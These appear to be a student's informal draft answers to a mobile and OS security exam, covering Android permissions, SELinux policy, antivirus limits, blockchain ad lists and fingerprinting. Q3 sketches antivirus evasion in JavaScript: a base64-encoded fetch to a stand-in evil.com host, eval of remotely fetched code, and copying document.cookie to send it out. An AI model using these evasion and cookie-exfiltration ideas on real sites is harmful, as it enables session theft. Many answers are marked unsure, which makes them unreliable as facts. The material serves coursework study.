**Mobile OS Security - Side-Channels on Android - SELinux on Android**

Which one of the following (write the letter corresponding to your selection in your answer sheet):

i) best describes how permissions are granted on Android 6 and after?

A) Only dangerous permissions are granted at runtime.

ii) is NOT a way an advertisement (ad) library requests permissions to use?

C)

iii) is NOT a common developer error when requesting permissions?

C) requesting permissions required by similar apps.

B)

I)

A) - -> Home -> Accounts -> Checking <- Unsure about this one

Or

t1: x-->home, t2: home-->accounts-->home, t3: home-->quickpay

B) - -> Home ->Accounts ->Savings OR - ->home->products->loans->personal loan

C) - -> Home OR Accounts -> Checking

D) - -> Home -> Checking OR Home -> Quickpay OR maybe - -> Home -> Products -> Overdraft ?

Ii) Joey because he’s the only with 3 tweets that match the places and times. Phoebe is close but has extra tweets.

If the device is connected to a Wireless Access Point (WAP), the BSSID of the WAP can be looked up in a database which holds mappings of BSSIDs to locations.

C)

Part i:

In attributes file:

*attribute domain;*

*attribute file\_type;*

Part ii:

In file.te:

*type top\_secret\_file, file\_type;*

Part iii:

In file\_contexts:

*/confidential/top\_secret\_file* *u:object\_r:top\_secret:s0;*

Part iv:

In seapp\_contexts:

*user=agent seinfo=platform name=com.android.secret domain=secret\_server type=secret\_app\_data\_file;*

This question has a second part *"Also, declare this new type (secret app data file) and associate it with the file type attribute".* I'm not sure about this but I think it needs to go in the file.te file again:

*type secret\_app\_data\_file, file\_type;*

Part v:

In agent\_server.te:

*allow agent\_server top\_secret:file {open}*

Part vi:

In secret\_server.te:

*allow secret\_server top\_secret:file {read}*

Part vii:

In secret\_server.te:

*neverallow {domain -agent\_server -secret\_server} top\_secret\_file:file {open read write}*

Q2.

A)

I) B (unsure)

Ii) A

Iii) C

B) I) ii) In the slides (lecture 13)

Iii) hat, fat and cut are very close. Only one phoneme difference. Others are less likely to be mixed up

C) I)

1. NO
2. YES
3. NO
4. NO
5. Assuming Admin is 01, YES if 01 is speaker, NO

Ii) Add apps to Table 8

com.deliveroo.driverapp with label 6

com.ubercab.driver with label 7

Role “Food Delivery” with MAC 00:00:00:00:00:16 in table 7

Role “Food Delivery”, Domain “Door”, Category “6,7” in table 5

Iii) Add new column with acceptable time of day to Table 5? Then add labels for these times of day in a new table. Then just need to add the time in the request

Q3.

A) The anti-virus vendor has to create and test the signature for each new malware. There’s always going to be a delay between finding out about a new virus and pushing a new signature to the anti-virus. Also viruses can mutate and just modify their signature making the anti-virus ineffective.

B) Availability? - Integrity?

C) The AV software is given full access to your file system. It can upload sensitive information to the vendor

D) Polymorphic worms are standalone and can self-propagate. They constantly change to evade detection but keep their functionality. A DOS can be carried out by unbounded replication?

E) Avoid security by obscurity

F) Likely not very effective. Javascript is usually minfied/obfuscated when received from the web server so signatures won’t match

G) Maybe some base64 encoding?

Fetch (atob(‘aHR0cDovL2V2aWwuY29t’) //just base64 encoded url

-Maybe recreate URL = ‘hhtp’ + [str for str in [‘e’, ‘v’, ‘i’,’l’]] + ‘.com’

H) Pull the evil code in from an external server: code = fetch(...), eval(code). Avoid analysis by e.g. not serving the payload to what doesn’t appear to be a valid web browser, if analysis is being run.

Encrypt the code, then decrypt before eval. Avoids references to document.cookie being detected maybe. If it’s just static analysis then as long as we don’t have an actual code reference to document.cookie are we ok?

Or could we use JSON.parse(JSON.stringify(document.cookie)) to create a clone of cookies and post this variable to the external source (without reference to cookie directly)

I) AVs can do some basic in memory scanning but can’t work to the same extent as it is an expensive operation. Usually signature-based scanning.

Q4.

A) If a malicious actor removed legitimate entries you get false negatives and if they add entries which shouldn’t be there you get false positives.

B)

+Requires consensus to add new data. So one person can’t just add whatever they want.

+Cannot overwrite existing entries

-Complex verification process. Not as simple as just adding to the list

-Lots of redundancy in updates so requires a lot more computational power

C) Only the contract will allow itself to update the list. List may be requested to be updated by the contract, then approve this with majority vote? Or maybe allow pre-defined authorised people to update the list.

D) addItem, removeItem should require(msg.sender == owner)

Private modifier only means that inherited contracts can’t access the field – anyone can still read the value of password stored I think -> don’t store pw and use this, instead use owner = msg.sender in constructor and require(msg.sender == owner) in changeOwner.

-require strong password?

E) Permissionless so they can just join. If they have enough resources, they can orchestrate a 51% attack, create a stealthchain, modify it how they want and then broadcast to modify the real chain.

F) five reasons wtf

* Computationally expensive
* Throughput of blockchain isn’t enough I think
* High storage costs of all that data!

1. Can It give too much infos to the attackers? Such as how wealthy is an advertiser (lot of impressions)
2. How would the blockchain be decentralised. Could a majority user control the chain and modify the history?

G) What even is a ROP-based drive by download?? 🙁

“drive-by” = user visits a website?

ROP-based implies we can control computation so I guess you can do whatever you want after that.

H) Fingerprinting works by using all the available information to try and uniquely identify your browser across visits/sites. An ad blocker is a browser extension and so the exact ad blocker you use as well as the version just adds more information and makes your fingerprint more unique.

Ad blockers modify the DOM to block ads compared to if they weren’t active. Can affect timings of loading pages, can affect the resources present after the page has loaded. Can use all these as part of fingerprint – maybe a page tries to load a bunch of resources from URLs that are known to be blocked exclusively by specific ad blockers, to try and figure out which ones are installed.